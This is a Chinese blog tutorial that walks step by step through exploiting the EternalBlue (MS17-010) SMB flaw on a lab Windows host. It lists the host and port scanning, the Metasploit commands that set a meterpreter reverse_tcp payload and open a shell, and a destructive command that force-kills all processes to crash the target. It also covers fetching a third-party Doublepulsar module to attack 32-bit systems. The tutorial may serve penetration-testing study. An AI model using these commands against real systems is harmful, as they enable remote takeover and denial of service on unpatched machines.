• 永恒之蓝 ms17-010


    永恒之蓝 ms17-010

    很久之前做过的永恒之蓝漏洞…

    1. 漏洞介绍

    永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

    1.1 影响版本

    目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

    1.2 漏洞原理

    通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

    2. 信息收集

    2.1 主机扫描

    arp-scan -l
    
    • 1

    image-20231024200826004

    2.2 端口扫描

    nmap -O -sS -T4 192.168.188.222
    
    • 1

    image-20231024202435170

    3. 漏洞探测

    msfconsole
    # 搜寻模块
    search ms17-010
    
    • 1
    • 2
    • 3

    image-20231024203415111

    # 使用第三个模块
    use 3
    # 查看该漏洞模块的具体介绍信息
    info
    
    • 1
    • 2
    • 3
    • 4

    image-20231024203658160

    使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

    show options
    
    • 1

    image-20231024203822659

    RHOSTS选项为空,需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。

    set rhosts 192.168.188.222
    
    • 1

    显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

    run
    
    • 1

    image-20231024204251498

    4. 漏洞利用

    search 17-010
    
    • 1

    image-20231024204458680

    设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

    set payload windows/x64/meterpreter/reverse_tcp
    
    • 1

    设置攻击目标

    set rhosts 192.168.188.222
    run
    
    • 1
    • 2

    image-20231024204727030

    拿下该主机的shell,执行cmd命令。

    getuid
    
    • 1

    image-20231024204750610

    ipconfig
    
    • 1

    image-20231024204855411

    蓝屏攻击

    taskkill /f /fi "pid ne 1"
    
    • 1

    命令解析:

    • 用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程(PID为1)之外的其他进程。

    • 在 Windows 操作系统中,进程标识符(PID)为 1 的进程通常是系统进程,也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分,负责管理和调度其他进程的运行。

    image-20231024205108393

    image-20231024205022404

    5. 特殊情况

    由于不知道目标操作系统是32位还是64位的,我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。

    如果在攻击的时候,出现攻击失败等提示信息,那么说明该模块只能攻击64位操作系统,也说明了目标靶机是32位的操作系统。

    5.1 安装wine32环境

    apt-get install wine32
    
    • 1

    在执行exploit时可能会出现 :

    it looks like wine32 is missing, you should install it.
    
    multiarch needs to be enabled first. as root, please
    
    execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"
    
    • 1
    • 2
    • 3
    • 4
    • 5

    按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可

    dpkg --add-architecture i386 && apt-get update && apt-get install wine32
    
    • 1

    验证是否安装成功

    wine --version
    
    • 1

    用wine32执行cmd.exe

    wine cmd.exe
    
    • 1

    5.2 安装攻击32位操作系统所用的的脚本

    首先下载利用的脚本:

    git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
    
    • 1

    然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

    cd Eternalblue-Doublepulsar-Metasploit/
     
    cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
    
    • 1
    • 2
    • 3

    接下来使用exploit模块(步骤同上,原理同上)

    msfconsole
     
    search eternalblue  #或者search ms17-010
    
    • 1
    • 2
    • 3

    如果在成功打过去了,但是一直频繁的刷shell的信息,就是回弹不出shell的终端,这个是为什么?

    • 防火墙或安全软件阻止了反向连接:目标系统上可能配置了防火墙或安全软件,阻止了从被攻击系统回连到攻击者控制的服务器的连接。这样一来,即使成功执行了恶意代码,也无法建立与攻击者服务器的连接,导致无法回弹 shell。
    • 网络配置问题:目标系统的网络配置可能存在问题,例如无法访问互联网、网络隔离等,导致无法回连到攻击者的服务器。
    • 安全补丁或安全措施:目标系统可能已经应用了相关的安全补丁或采取了其他安全措施,修复了永恒之蓝漏洞或阻止了其利用。这样一来,攻击者无法成功利用漏洞,也无法回弹 shell。
  • 相关阅读:
    Web APIs——焦点事件以及小米搜索框
    【RocketMQ】顺序消息实现原理
    了解MySQL InnoDB多版本MVCC(Multi-Version Concurrency Control)
    第35章_瑞萨MCU零基础入门系列教程之ADXL345三轴传感器驱动实验
    【LeetCode-简单题】202. 快乐数
    【无标题】
    LCR 122.路径加密
    Android-APP隐私合规检测Camille(安卓root模拟器)
    python模拟投掷色子并做出数据可视化统计图
    C++-矩阵运算-Eigen-几何矩阵变换-常见几何参数求解-平移-缩放-旋转-仿射变换-垂足-面积-周长-方向角
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/134022191